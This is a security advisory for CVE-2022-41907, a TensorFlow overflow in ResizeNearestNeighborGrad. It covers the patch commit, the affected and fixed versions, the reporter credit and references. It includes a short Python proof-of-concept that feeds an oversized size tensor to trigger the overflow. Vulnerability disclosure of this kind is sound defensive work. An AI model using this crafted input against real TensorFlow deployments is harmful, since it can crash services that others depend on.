CVE-2022-41907
Overflow in `ResizeNearestNeighborGrad`
Impact
### Impact When [`tf.raw_ops.ResizeNearestNeighborGrad`](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/image/resize_nearest_neighbor_op.cc) is given a large `size` input, it overflows. ``` import tensorflow as tf align_corners = True half_pixel_centers = False grads = tf.constant(1, shape=[1,8,16,3], dtype=tf.float16) size = tf.constant([1879048192,1879048192], shape=[2], dtype=tf.int32) tf.raw_ops.ResizeNearestNeighborGrad(grads=grads, size=size, align_corners=align_corners, half_pixel_centers=half_pixel_centers) ``` ### Patches We have patched the issue in GitHub commit [00c821af032ba9e5f5fa3fe14690c8d28a657624](https://github.com/tensorflow/tensorflow/commit/00c821af032ba9e5f5fa3fe14690c8d28a657624). The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Neophytos Christou from the Secure Systems Lab (SSL) at Brown University.
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| pip | tensorflow | < 2.8.4 | 2.8.4 |
| pip | tensorflow-cpu | < 2.8.4 | 2.8.4 |
| pip | tensorflow-gpu | < 2.8.4 | 2.8.4 |
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Tensorflow | before 2.8.4 from 2.9.0 before 2.9.3 from 2.10.0 before 2.10.1 |
Weakness classification
References
- NVD record
- CVE.org record
- GitHub advisory
- https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/image/resize_nearest_neighbor_op.cc
- https://github.com/tensorflow/tensorflow/commit/00c821af032ba9e5f5fa3fe14690c8d28a657624
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-368v-7v32-52fx
- https://github.com/advisories/GHSA-368v-7v32-52fx
- https://nvd.nist.gov/vuln/detail/CVE-2022-41907